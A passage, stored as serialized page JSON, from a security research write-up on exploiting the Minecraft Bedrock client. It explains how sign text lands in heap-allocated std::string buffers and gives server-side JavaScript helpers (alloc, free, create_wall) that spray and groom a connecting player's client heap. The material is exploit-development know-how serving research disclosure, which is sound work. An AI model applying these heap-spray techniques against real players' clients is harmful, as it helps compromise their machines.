Signs",{"type":23,"tag":24,"props":148723,"children":148724},{},[148725],{"type":28,"value":148726},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":148728,"children":148729},{},[148730,148732,148738],{"type":28,"value":148731},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":56,"props":148733,"children":148735},{"className":148734},[],[148736],{"type":28,"value":148737},"std::string",{"type":28,"value":320},{"type":23,"tag":24,"props":148740,"children":148741},{},[148742,148744,148749],{"type":28,"value":148743},"In Microsoft’s C++ implementation, ",{"type":23,"tag":56,"props":148745,"children":148747},{"className":148746},[],[148748],{"type":28,"value":148737},{"type":28,"value":148750}," is structured roughly as follows:",{"type":23,"tag":494,"props":148752,"children":148754},{"code":148753,"language":2124,"meta":7,"className":15493,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[148755],{"type":23,"tag":56,"props":148756,"children":148757},{"__ignoreMap":7},[148758,148769,148776,148788,148804,148828,148835,148846,148858],{"type":23,"tag":504,"props":148759,"children":148760},{"class":506,"line":507},[148761,148765],{"type":23,"tag":504,"props":148762,"children":148763},{"style":511},[148764],{"type":28,"value":8383},{"type":23,"tag":504,"props":148766,"children":148767},{"style":523},[148768],{"type":28,"value":83795},{"type":23,"tag":504,"props":148770,"children":148771},{"class":506,"line":540},[148772],{"type":23,"tag":504,"props":148773,"children":148774},{"style":523},[148775],{"type":28,"value":9862},{"type":23,"tag":504,"props":148777,"children":148778},{"class":506,"line":555},[148779,148784],{"type":23,"tag":504,"props":148780,"children":148781},{"style":511},[148782],{"type":28,"value":148783},"    union",{"type":23,"tag":504,"props":148785,"children":148786},{"style":523},[148787],{"type":28,"value":552},{"type":23,"tag":504,"props":148789,"children":148790},{"class":506,"line":633},[148791,148796,148800],{"type":23,"tag":504,"props":148792,"children":148793},{"style":511},[148794],{"type":28,"value":148795},"        char",{"type":23,"tag":504,"props":148797,"children":148798},{"style":598},[148799],{"type":28,"value":3552},{"type":23,"tag":504,"props":148801,"children":148802},{"style":523},[148803],{"type":28,"value":15535},{"type":23,"tag":504,"props":148805,"children":148806},{"class":506,"line":687},[148807,148811,148816,148820,148824],{"type":23,"tag":504,"props":148808,"children":148809},{"style":511},[148810],{"type":28,"value":148795},{"type":23,"tag":504,"props":148812,"children":148813},{"style":529},[148814],{"type":28,"value":148815}," buf",{"type":23,"tag":504,"props":148817,"children":148818},{"style":523},[148819],{"type":28,"value":2711},{"type":23,"tag":504,"props":148821,"children":148822},{"style":1440},[148823],{"type":28,"value":39821},{"type":23,"tag":504,"props":148825,"children":148826},{"style":523},[148827],{"type":28,"value":30552},{"type":23,"tag":504,"props":148829,"children":148830},{"class":506,"line":736},[148831],{"type":23,"tag":504,"props":148832,"children":148833},{"style":523},[148834],{"type":28,"value":37973},{"type":23,"tag":504,"props":148836,"children":148837},{"class":506,"line":785},[148838,148842],{"type":23,"tag":504,"props":148839,"children":148840},{"style":511},[148841],{"type":28,"value":15543},{"type":23,"tag":504,"props":148843,"children":148844},{"style":523},[148845],{"type":28,"value":123353},{"type":23,"tag":504,"props":148847,"children":148848},{"class":506,"line":813},[148849,148853],{"type":23,"tag":504,"props":148850,"children":148851},{"style":511},[148852],{"type":28,"value":15543},{"type":23,"tag":504,"props":148854,"children":148855},{"style":523},[148856],{"type":28,"value":148857}," capacity;\n",{"type":23,"tag":504,"props":148859,"children":148860},{"class":506,"line":851},[148861],{"type":23,"tag":504,"props":148862,"children":148863},{"style":523},[148864],{"type":28,"value":15556},{"type":23,"tag":24,"props":148866,"children":148867},{},[148868,148870,148876,148878,148883],{"type":28,"value":148869},"We are primarily interested in the union: ",{"type":23,"tag":56,"props":148871,"children":148873},{"className":148872},[],[148874],{"type":28,"value":148875},"buf",{"type":28,"value":148877}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":56,"props":148879,"children":148881},{"className":148880},[],[148882],{"type":28,"value":12930},{"type":28,"value":148884}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":148886,"children":148887},{},[148888],{"type":28,"value":148889},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":148891,"children":148892},{},[148893],{"type":28,"value":148894},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":17874,"props":148896,"children":148898},{"id":148897},"spraying-with-server-side-scripting",[148899],{"type":28,"value":148900},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":148902,"children":148903},{},[148904],{"type":28,"value":148905},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":148907,"children":148908},{},[148909,148911,148917,148918,148924],{"type":28,"value":148910},"We wrote ",{"type":23,"tag":56,"props":148912,"children":148914},{"className":148913},[],[148915],{"type":28,"value":148916},"alloc",{"type":28,"value":430},{"type":23,"tag":56,"props":148919,"children":148921},{"className":148920},[],[148922],{"type":28,"value":148923},"free",{"type":28,"value":148925}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":494,"props":148927,"children":148929},{"code":148928,"language":34592,"meta":7,"className":34590,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[148930],{"type":23,"tag":56,"props":148931,"children":148932},{"__ignoreMap":7},[148933,148941,148983,149016,149061,149073,149080,149087,149148,149175,149190,149197,149204,149233,149248,149255,149262,149270,149294,149345,149356,149363,149370,149407,149434,149441,149470,149500,149507,149534],{"type":23,"tag":504,"props":148934,"children":148935},{"class":506,"line":507},[148936],{"type":23,"tag":504,"props":148937,"children":148938},{"style":1106},[148939],{"type":28,"value":148940},"// Allocate sign text in the client\n",{"type":23,"tag":504,"props":148942,"children":148943},{"class":506,"line":540},[148944,148948,148953,148957,148961,148965,148970,148974,148979],{"type":23,"tag":504,"props":148945,"children":148946},{"style":511},[148947],{"type":28,"value":514},{"type":23,"tag":504,"props":148949,"children":148950},{"style":517},[148951],{"type":28,"value":148952}," alloc",{"type":23,"tag":504,"props":148954,"children":148955},{"style":523},[148956],{"type":28,"value":526},{"type":23,"tag":504,"props":148958,"children":148959},{"style":529},[148960],{"type":28,"value":123011},{"type":23,"tag":504,"props":148962,"children":148963},{"style":523},[148964],{"type":28,"value":576},{"type":23,"tag":504,"props":148966,"children":148967},{"style":529},[148968],{"type":28,"value":148969},"fill",{"type":23,"tag":504,"props":148971,"children":148972},{"style":598},[148973],{"type":28,"value":601},{"type":23,"tag":504,"props":148975,"children":148976},{"style":622},[148977],{"type":28,"value":148978},"\"A\"",{"type":23,"tag":504,"props":148980,"children":148981},{"style":523},[148982],{"type":28,"value":537},{"type":23,"tag":504,"props":148984,"children":148985},{"class":506,"line":555},[148986,148990,148994,148998,149003,149007,149012],{"type":23,"tag":504,"props":148987,"children":148988},{"style":544},[148989],{"type":28,"value":2008},{"type":23,"tag":504,"props":148991,"children":148992},{"style":523},[148993],{"type":28,"value":801},{"type":23,"tag":504,"props":148995,"children":148996},{"style":511},[148997],{"type":28,"value":10769},{"type":23,"tag":504,"props":148999,"children":149000},{"style":529},[149001],{"type":28,"value":149002}," sign",{"type":23,"tag":504,"props":149004,"children":149005},{"style":511},[149006],{"type":28,"value":9344},{"type":23,"tag":504,"props":149008,"children":149009},{"style":529},[149010],{"type":28,"value":149011}," signs",{"type":23,"tag":504,"props":149013,"children":149014},{"style":523},[149015],{"type":28,"value":537},{"type":23,"tag":504,"props":149017,"children":149018},{"class":506,"line":633},[149019,149023,149027,149032,149036,149041,149045,149049,149053,149057],{"type":23,"tag":504,"props":149020,"children":149021},{"style":544},[149022],{"type":28,"value":2250},{"type":23,"tag":504,"props":149024,"children":149025},{"style":523},[149026],{"type":28,"value":801},{"type":23,"tag":504,"props":149028,"children":149029},{"style":529},[149030],{"type":28,"value":149031},"sign",{"type":23,"tag":504,"props":149033,"children":149034},{"style":523},[149035],{"type":28,"value":320},{"type":23,"tag":504,"props":149037,"children":149038},{"style":529},[149039],{"type":28,"value":149040},"allocated",{"type":23,"tag":504,"props":149042,"children":149043},{"style":598},[149044],{"type":28,"value":22679},{"type":23,"tag":504,"props":149046,"children":149047},{"style":529},[149048],{"type":28,"value":149002},{"type":23,"tag":504,"props":149050,"children":149051},{"style":523},[149052],{"type":28,"value":320},{"type":23,"tag":504,"props":149054,"children":149055},{"style":529},[149056],{"type":28,"value":131716},{"type":23,"tag":504,"props":149058,"children":149059},{"style":523},[149060],{"type":28,"value":537},{"type":23,"tag":504,"props":149062,"children":149063},{"class":506,"line":687},[149064,149069],{"type":23,"tag":504,"props":149065,"children":149066},{"style":544},[149067],{"type":28,"value":149068},"            continue",{"type":23,"tag":504,"props":149070,"children":149071},{"style":523},[149072],{"type":28,"value":866},{"type":23,"tag":504,"props":149074,"children":149075},{"class":506,"line":736},[149076],{"type":23,"tag":504,"props":149077,"children":149078},{"style":523},[149079],{"type":28,"value":1291},{"type":23,"tag":504,"props":149081,"children":149082},{"class":506,"line":785},[149083],{"type":23,"tag":504,"props":149084,"children":149085},{"emptyLinePlaceholder":16},[149086],{"type":28,"value":1038},{"type":23,"tag":504,"props":149088,"children":149089},{"class":506,"line":813},[149090,149095,149099,149103,149107,149112,149116,149120,149124,149128,149132,149136,149140,149144],{"type":23,"tag":504,"props":149091,"children":149092},{"style":529},[149093],{"type":28,"value":149094},"        sign",{"type":23,"tag":504,"props":149096,"children":149097},{"style":523},[149098],{"type":28,"value":320},{"type":23,"tag":504,"props":149100,"children":149101},{"style":529},[149102],{"type":28,"value":149031},{"type":23,"tag":504,"props":149104,"children":149105},{"style":523},[149106],{"type":28,"value":320},{"type":23,"tag":504,"props":149108,"children":149109},{"style":517},[149110],{"type":28,"value":149111},"setText",{"type":23,"tag":504,"props":149113,"children":149114},{"style":523},[149115],{"type":28,"value":526},{"type":23,"tag":504,"props":149117,"children":149118},{"style":529},[149119],{"type":28,"value":148969},{"type":23,"tag":504,"props":149121,"children":149122},{"style":523},[149123],{"type":28,"value":320},{"type":23,"tag":504,"props":149125,"children":149126},{"style":517},[149127],{"type":28,"value":131966},{"type":23,"tag":504,"props":149129,"children":149130},{"style":523},[149131],{"type":28,"value":526},{"type":23,"tag":504,"props":149133,"children":149134},{"style":529},[149135],{"type":28,"value":123011},{"type":23,"tag":504,"props":149137,"children":149138},{"style":598},[149139],{"type":28,"value":50234},{"type":23,"tag":504,"props":149141,"children":149142},{"style":1440},[149143],{"type":28,"value":3504},{"type":23,"tag":504,"props":149145,"children":149146},{"style":523},[149147],{"type":28,"value":684},{"type":23,"tag":504,"props":149149,"children":149150},{"class":506,"line":851},[149151,149155,149159,149163,149167,149171],{"type":23,"tag":504,"props":149152,"children":149153},{"style":529},[149154],{"type":28,"value":149094},{"type":23,"tag":504,"props":149156,"children":149157},{"style":523},[149158],{"type":28,"value":320},{"type":23,"tag":504,"props":149160,"children":149161},{"style":529},[149162],{"type":28,"value":149040},{"type":23,"tag":504,"props":149164,"children":149165},{"style":598},[149166],{"type":28,"value":648},{"type":23,"tag":504,"props":149168,"children":149169},{"style":511},[149170],{"type":28,"value":1750},{"type":23,"tag":504,"props":149172,"children":149173},{"style":523},[149174],{"type":28,"value":866},{"type":23,"tag":504,"props":149176,"children":149177},{"class":506,"line":869},[149178,149182,149186],{"type":23,"tag":504,"props":149179,"children":149180},{"style":544},[149181],{"type":28,"value":742},{"type":23,"tag":504,"props":149183,"children":149184},{"style":529},[149185],{"type":28,"value":149002},{"type":23,"tag":504,"props":149187,"children":149188},{"style":523},[149189],{"type":28,"value":866},{"type":23,"tag":504,"props":149191,"children":149192},{"class":506,"line":878},[149193],{"type":23,"tag":504,"props":149194,"children":149195},{"style":523},[149196],{"type":28,"value":875},{"type":23,"tag":504,"props":149198,"children":149199},{"class":506,"line":1221},[149200],{"type":23,"tag":504,"props":149201,"children":149202},{"emptyLinePlaceholder":16},[149203],{"type":28,"value":1038},{"type":23,"tag":504,"props":149205,"children":149206},{"class":506,"line":1276},[149207,149211,149215,149220,149224,149229],{"type":23,"tag":504,"props":149208,"children":149209},{"style":529},[149210],{"type":28,"value":30417},{"type":23,"tag":504,"props":149212,"children":149213},{"style":523},[149214],{"type":28,"value":320},{"type":23,"tag":504,"props":149216,"children":149217},{"style":517},[149218],{"type":28,"value":149219},"warn",{"type":23,"tag":504,"props":149221,"children":149222},{"style":523},[149223],{"type":28,"value":526},{"type":23,"tag":504,"props":149225,"children":149226},{"style":622},[149227],{"type":28,"value":149228},"\"No more allocs\"",{"type":23,"tag":504,"props":149230,"children":149231},{"style":523},[149232],{"type":28,"value":630},{"type":23,"tag":504,"props":149234,"children":149235},{"class":506,"line":1285},[149236,149240,149244],{"type":23,"tag":504,"props":149237,"children":149238},{"style":544},[149239],{"type":28,"value":15968},{"type":23,"tag":504,"props":149241,"children":149242},{"style":511},[149243],{"type":28,"value":38313},{"type":23,"tag":504,"props":149245,"children":149246},{"style":523},[149247],{"type":28,"value":866},{"type":23,"tag":504,"props":149249,"children":149250},{"class":506,"line":1294},[149251],{"type":23,"tag":504,"props":149252,"children":149253},{"style":523},[149254],{"type":28,"value":884},{"type":23,"tag":504,"props":149256,"children":149257},{"class":506,"line":1302},[149258],{"type":23,"tag":504,"props":149259,"children":149260},{"emptyLinePlaceholder":16},[149261],{"type":28,"value":1038},{"type":23,"tag":504,"props":149263,"children":149264},{"class":506,"line":1311},[149265],{"type":23,"tag":504,"props":149266,"children":149267},{"style":1106},[149268],{"type":28,"value":149269},"// Free an allocated sign in the client\n",{"type":23,"tag":504,"props":149271,"children":149272},{"class":506,"line":1334},[149273,149277,149282,149286,149290],{"type":23,"tag":504,"props":149274,"children":149275},{"style":511},[149276],{"type":28,"value":514},{"type":23,"tag":504,"props":149278,"children":149279},{"style":517},[149280],{"type":28,"value":149281}," free",{"type":23,"tag":504,"props":149283,"children":149284},{"style":523},[149285],{"type":28,"value":526},{"type":23,"tag":504,"props":149287,"children":149288},{"style":529},[149289],{"type":28,"value":149031},{"type":23,"tag":504,"props":149291,"children":149292},{"style":523},[149293],{"type":28,"value":537},{"type":23,"tag":504,"props":149295,"children":149296},{"class":506,"line":1370},[149297,149301,149305,149309,149313,149317,149321,149325,149329,149333,149337,149341],{"type":23,"tag":504,"props":149298,"children":149299},{"style":544},[149300],{"type":28,"value":11261},{"type":23,"tag":504,"props":149302,"children":149303},{"style":523},[149304],{"type":28,"value":801},{"type":23,"tag":504,"props":149306,"children":149307},{"style":529},[149308],{"type":28,"value":149031},{"type":23,"tag":504,"props":149310,"children":149311},{"style":598},[149312],{"type":28,"value":2260},{"type":23,"tag":504,"props":149314,"children":149315},{"style":511},[149316],{"type":28,"value":38313},{"type":23,"tag":504,"props":149318,"children":149319},{"style":598},[149320],{"type":28,"value":22679},{"type":23,"tag":504,"props":149322,"children":149323},{"style":529},[149324],{"type":28,"value":149002},{"type":23,"tag":504,"props":149326,"children":149327},{"style":523},[149328],{"type":28,"value":320},{"type":23,"tag":504,"props":149330,"children":149331},{"style":529},[149332],{"type":28,"value":149040},{"type":23,"tag":504,"props":149334,"children":149335},{"style":598},[149336],{"type":28,"value":2260},{"type":23,"tag":504,"props":149338,"children":149339},{"style":511},[149340],{"type":28,"value":8041},{"type":23,"tag":504,"props":149342,"children":149343},{"style":523},[149344],{"type":28,"value":537},{"type":23,"tag":504,"props":149346,"children":149347},{"class":506,"line":1384},[149348,149352],{"type":23,"tag":504,"props":149349,"children":149350},{"style":544},[149351],{"type":28,"value":742},{"type":23,"tag":504,"props":149353,"children":149354},{"style":523},[149355],{"type":28,"value":866},{"type":23,"tag":504,"props":149357,"children":149358},{"class":506,"line":1392},[149359],{"type":23,"tag":504,"props":149360,"children":149361},{"style":523},[149362],{"type":28,"value":875},{"type":23,"tag":504,"props":149364,"children":149365},{"class":506,"line":1400},[149366],{"type":23,"tag":504,"props":149367,"children":149368},{"emptyLinePlaceholder":16},[149369],{"type":28,"value":1038},{"type":23,"tag":504,"props":149371,"children":149372},{"class":506,"line":1422},[149373,149378,149382,149386,149390,149394,149398,149403],{"type":23,"tag":504,"props":149374,"children":149375},{"style":529},[149376],{"type":28,"value":149377},"    sign",{"type":23,"tag":504,"props":149379,"children":149380},{"style":523},[149381],{"type":28,"value":320},{"type":23,"tag":504,"props":149383,"children":149384},{"style":529},[149385],{"type":28,"value":149031},{"type":23,"tag":504,"props":149387,"children":149388},{"style":523},[149389],{"type":28,"value":320},{"type":23,"tag":504,"props":149391,"children":149392},{"style":517},[149393],{"type":28,"value":149111},{"type":23,"tag":504,"props":149395,"children":149396},{"style":523},[149397],{"type":28,"value":526},{"type":23,"tag":504,"props":149399,"children":149400},{"style":622},[149401],{"type":28,"value":149402},"\"\"",{"type":23,"tag":504,"props":149404,"children":149405},{"style":523},[149406],{"type":28,"value":630},{"type":23,"tag":504,"props":149408,"children":149409},{"class":506,"line":1450},[149410,149414,149418,149422,149426,149430],{"type":23,"tag":504,"props":149411,"children":149412},{"style":529},[149413],{"type":28,"value":149377},{"type":23,"tag":504,"props":149415,"children":149416},{"style":523},[149417],{"type":28,"value":320},{"type":23,"tag":504,"props":149419,"children":149420},{"style":529},[149421],{"type":28,"value":149040},{"type":23,"tag":504,"props":149423,"children":149424},{"style":598},[149425],{"type":28,"value":648},{"type":23,"tag":504,"props":149427,"children":149428},{"style":511},[149429],{"type":28,"value":8041},{"type":23,"tag":504,"props":149431,"children":149432},{"style":523},[149433],{"type":28,"value":866},{"type":23,"tag":504,"props":149435,"children":149436},{"class":506,"line":1463},[149437],{"type":23,"tag":504,"props":149438,"children":149439},{"emptyLinePlaceholder":16},[149440],{"type":28,"value":1038},{"type":23,"tag":504,"props":149442,"children":149443},{"class":506,"line":1485},[149444,149448,149452,149457,149461,149466],{"type":23,"tag":504,"props":149445,"children":149446},{"style":529},[149447],{"type":28,"value":149377},{"type":23,"tag":504,"props":149449,"children":149450},{"style":523},[149451],{"type":28,"value":320},{"type":23,"tag":504,"props":149453,"children":149454},{"style":529},[149455],{"type":28,"value":149456},"block",{"type":23,"tag":504,"props":149458,"children":149459},{"style":523},[149460],{"type":28,"value":320},{"type":23,"tag":504,"props":149462,"children":149463},{"style":517},[149464],{"type":28,"value":149465},"setPermutation",{"type":23,"tag":504,"props":149467,"children":149468},{"style":523},[149469],{"type":28,"value":2439},{"type":23,"tag":504,"props":149471,"children":149472},{"class":506,"line":1503},[149473,149478,149482,149487,149491,149496],{"type":23,"tag":504,"props":149474,"children":149475},{"style":529},[149476],{"type":28,"value":149477},"        BlockPermutation",{"type":23,"tag":504,"props":149479,"children":149480},{"style":523},[149481],{"type":28,"value":320},{"type":23,"tag":504,"props":149483,"children":149484},{"style":517},[149485],{"type":28,"value":149486},"resolve",{"type":23,"tag":504,"props":149488,"children":149489},{"style":523},[149490],{"type":28,"value":526},{"type":23,"tag":504,"props":149492,"children":149493},{"style":622},[149494],{"type":28,"value":149495},"\"minecraft:air\"",{"type":23,"tag":504,"props":149497,"children":149498},{"style":523},[149499],{"type":28,"value":1192},{"type":23,"tag":504,"props":149501,"children":149502},{"class":506,"line":1516},[149503],{"type":23,"tag":504,"props":149504,"children":149505},{"style":523},[149506],{"type":28,"value":42633},{"type":23,"tag":504,"props":149508,"children":149509},{"class":506,"line":1543},[149510,149514,149518,149522,149526,149530],{"type":23,"tag":504,"props":149511,"children":149512},{"style":529},[149513],{"type":28,"value":149377},{"type":23,"tag":504,"props":149515,"children":149516},{"style":523},[149517],{"type":28,"value":320},{"type":23,"tag":504,"props":149519,"children":149520},{"style":529},[149521],{"type":28,"value":131716},{"type":23,"tag":504,"props":149523,"children":149524},{"style":598},[149525],{"type":28,"value":648},{"type":23,"tag":504,"props":149527,"children":149528},{"style":511},[149529],{"type":28,"value":1750},{"type":23,"tag":504,"props":149531,"children":149532},{"style":523},[149533],{"type":28,"value":866},{"type":23,"tag":504,"props":149535,"children":149536},{"class":506,"line":1583},[149537],{"type":23,"tag":504,"props":149538,"children":149539},{"style":523},[149540],{"type":28,"value":884},{"type":23,"tag":24,"props":149542,"children":149543},{},[149544,149546,149552],{"type":28,"value":149545},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":56,"props":149547,"children":149549},{"className":149548},[],[149550],{"type":28,"value":149551},"signs",{"type":28,"value":149553}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":494,"props":149555,"children":149557},{"code":149556,"language":34592,"meta":7,"className":34590,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[149558],{"type":23,"tag":56,"props":149559,"children":149560},{"__ignoreMap":7},[149561,149576,149583,149599,149616,149623,149685,149747,149754,149770,149778,149800,149826,149851,149871,149900,149912,149919,149927,149949,149983,149990,150010,150026,150042,150058,150070,150078,150085,150092,150099,150106,150122,150137,150144,150203,150262,150269,150284,150292,150320,150348,150356,150363,150382,150409,150416,150423,150438,150445,150452,150459,150466,150522,150534,150541,150548,150609,150621],{"type":23,"tag":504,"props":149562,"children":149563},{"class":506,"line":507},[149564,149568,149572],{"type":23,"tag":504,"props":149565,"children":149566},{"style":511},[149567],{"type":28,"value":10769},{"type":23,"tag":504,"props":149569,"children":149570},{"style":529},[149571],{"type":28,"value":149011},{"type":23,"tag":504,"props":149573,"children":149574},{"style":523},[149575],{"type":28,"value":866},{"type":23,"tag":504,"props":149577,"children":149578},{"class":506,"line":540},[149579],{"type":23,"tag":504,"props":149580,"children":149581},{"emptyLinePlaceholder":16},[149582],{"type":28,"value":1038},{"type":23,"tag":504,"props":149584,"children":149585},{"class":506,"line":555},[149586,149590,149595],{"type":23,"tag":504,"props":149587,"children":149588},{"style":511},[149589],{"type":28,"value":514},{"type":23,"tag":504,"props":149591,"children":149592},{"style":517},[149593],{"type":28,"value":149594}," create_wall",{"type":23,"tag":504,"props":149596,"children":149597},{"style":523},[149598],{"type":28,"value":1030},{"type":23,"tag":504,"props":149600,"children":149601},{"class":506,"line":633},[149602,149607,149611],{"type":23,"tag":504,"props":149603,"children":149604},{"style":529},[149605],{"type":28,"value":149606},"    signs",{"type":23,"tag":504,"props":149608,"children":149609},{"style":598},[149610],{"type":28,"value":648},{"type":23,"tag":504,"props":149612,"children":149613},{"style":523},[149614],{"type":28,"value":149615}," [];\n",{"type":23,"tag":504,"props":149617,"children":149618},{"class":506,"line":687},[149619],{"type":23,"tag":504,"props":149620,"children":149621},{"emptyLinePlaceholder":16},[149622],{"type":28,"value":1038},{"type":23,"tag":504,"props":149624,"children":149625},{"class":506,"line":736},[149626,149630,149634,149638,149643,149647,149651,149655,149660,149664,149669,149673,149677,149681],{"type":23,"tag":504,"props":149627,"children":149628},{"style":544},[149629],{"type":28,"value":2008},{"type":23,"tag":504,"props":149631,"children":149632},{"style":523},[149633],{"type":28,"value":801},{"type":23,"tag":504,"props":149635,"children":149636},{"style":511},[149637],{"type":28,"value":10769},{"type":23,"tag":504,"props":149639,"children":149640},{"style":529},[149641],{"type":28,"value":149642}," current_y",{"type":23,"tag":504,"props":149644,"children":149645},{"style":598},[149646],{"type":28,"value":648},{"type":23,"tag":504,"props":149648,"children":149649},{"style":1440},[149650],{"type":28,"value":2023},{"type":23,"tag":504,"props":149652,"children":149653},{"style":523},[149654],{"type":28,"value":16206},{"type":23,"tag":504,"props":149656,"children":149657},{"style":529},[149658],{"type":28,"value":149659},"current_y",{"type":23,"tag":504,"props":149661,"children":149662},{"style":598},[149663],{"type":28,"value":7702},{"type":23,"tag":504,"props":149665,"children":149666},{"style":529},[149667],{"type":28,"value":149668}," WALL_HEIGHT",{"type":23,"tag":504,"props":149670,"children":149671},{"style":523},[149672],{"type":28,"value":16206},{"type":23,"tag":504,"props":149674,"children":149675},{"style":529},[149676],{"type":28,"value":149659},{"type":23,"tag":504,"props":149678,"children":149679},{"style":598},[149680],{"type":28,"value":50248},{"type":23,"tag":504,"props":149682,"children":149683},{"style":523},[149684],{"type":28,"value":537},{"type":23,"tag":504,"props":149686,"children":149687},{"class":506,"line":785},[149688,149692,149696,149700,149705,149709,149713,149717,149722,149726,149731,149735,149739,149743],{"type":23,"tag":504,"props":149689,"children":149690},{"style":544},[149691],{"type":28,"value":59555},{"type":23,"tag":504,"props":149693,"children":149694},{"style":523},[149695],{"type":28,"value":801},{"type":23,"tag":504,"props":149697,"children":149698},{"style":511},[149699],{"type":28,"value":10769},{"type":23,"tag":504,"props":149701,"children":149702},{"style":529},[149703],{"type":28,"value":149704}," current_x",{"type":23,"tag":504,"props":149706,"children":149707},{"style":598},[149708],{"type":28,"value":648},{"type":23,"tag":504,"props":149710,"children":149711},{"style":1440},[149712],{"type":28,"value":2023},{"type":23,"tag":504,"props":149714,"children":149715},{"style":523},[149716],{"type":28,"value":16206},{"type":23,"tag":504,"props":149718,"children":149719},{"style":529},[149720],{"type":28,"value":149721},"current_x",{"type":23,"tag":504,"props":149723,"children":149724},{"style":598},[149725],{"type":28,"value":7702},{"type":23,"tag":504,"props":149727,"children":149728},{"style":529},[149729],{"type":28,"value":149730}," WALL_WIDTH",{"type":23,"tag":504,"props":149732,"children":149733},{"style":523},[149734],{"type":28,"value":16206},{"type":23,"tag":504,"props":149736,"children":149737},{"style":529},[149738],{"type":28,"value":149721},{"type":23,"tag":504,"props":149740,"children":149741},{"style":598},[149742],{"type":28,"value":50248},{"type":23,"tag":504,"props":149744,"children":149745},{"style":523},[149746],{"type":28,"value":537},{"type":23,"tag":504,"props":149748,"children":149749},{"class":506,"line":813},[149750],{"type":23,"tag":504,"props":149751,"children":149752},{"emptyLinePlaceholder":16},[149753],{"type":28,"value":1038},{"type":23,"tag":504,"props":149755,"children":149756},{"class":506,"line":851},[149757,149762,149766],{"type":23,"tag":504,"props":149758,"children":149759},{"style":523},[149760],{"type":28,"value":149761},"            [",{"type":23,"tag":504,"props":149763,"children":149764},{"style":598},[149765],{"type":28,"value":8572},{"type":23,"tag":504,"props":149767,"children":149768},{"style":523},[149769],{"type":28,"value":10754},{"type":23,"tag":504,"props":149771,"children":149772},{"class":506,"line":869},[149773],{"type":23,"tag":504,"props":149774,"children":149775},{"style":523},[149776],{"type":28,"value":149777},"            \n",{"type":23,"tag":504,"props":149779,"children":149780},{"class":506,"line":878},[149781,149786,149791,149795],{"type":23,"tag":504,"props":149782,"children":149783},{"style":511},[149784],{"type":28,"value":149785},"            const",{"type":23,"tag":504,"props":149787,"children":149788},{"style":529},[149789],{"type":28,"value":149790}," sign_block",{"type":23,"tag":504,"props":149792,"children":149793},{"style":598},[149794],{"type":28,"value":648},{"type":23,"tag":504,"props":149796,"children":149797},{"style":529},[149798],{"type":28,"value":149799}," world\n",{"type":23,"tag":504,"props":149801,"children":149802},{"class":506,"line":1221},[149803,149808,149813,149817,149822],{"type":23,"tag":504,"props":149804,"children":149805},{"style":523},[149806],{"type":28,"value":149807},"                